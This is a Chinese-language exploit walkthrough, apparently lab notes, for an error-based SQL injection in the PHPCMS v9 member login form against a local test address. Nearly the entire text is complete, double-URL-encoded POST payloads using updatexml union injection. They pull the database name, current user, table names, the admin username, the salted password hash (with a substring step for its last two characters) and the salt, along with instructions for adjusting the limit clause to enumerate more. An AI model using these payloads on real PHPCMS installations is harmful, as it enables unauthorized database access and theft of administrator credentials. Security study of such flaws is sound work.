獲取當前數據庫
http://192.168.1.139:8080/phpcms/index.php?m=member&c=index&a=login
post：
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bdatabase())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
獲取當前用戶：
post：
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2buser())%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
獲取表名：
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2btable_name%2bfrom%2binformation_schema.tables%2bwhere%2btable_schema='phpcmsv9'%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
若要獲取其他表名，修改limit即可。
獲取用戶名
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2busername%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
獲取密碼：
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bpassword%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
但是細心的小夥伴就會發現，這裏的md5是30位，正常的是32位的，那麼我這裏就用substring函數來獲取hash的後兩位
獲取hash後兩位
orward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(substring((select%2bpassword%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c-2%252c2))%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
然而phpcms是加鹽（salt）的，獲取salt:
forward=http%253A%252F%252F192.168.1.139%253A8080%252Fphpcms%252Findex.php%253Fm%253Dmember&username=phpcms&password=123456%26username%3d%2527%2bunion%2bselect%2b%25272%2527%252c%2527test%255c%2527%252cupdatexml(1%252cconcat(0x5e24%252c(select%2bencrypt%2bfrom%2bv9_admin%2blimit%2b0%252c1)%252c0x5e24)%252c1)%252c%255c%2527123456%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%2527%255c%2527%252c%255c%25272%255c%2527%252c%255c%252710%255c%2527)%252c(%255c%25272%255c%2527%252c%255c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%252cnull%2523&code=驗證碼&dosubmit=%E7%99%BB%E5%BD%95
所有獲取其他表名，字段名，只需要修改limit後面的參數即可。
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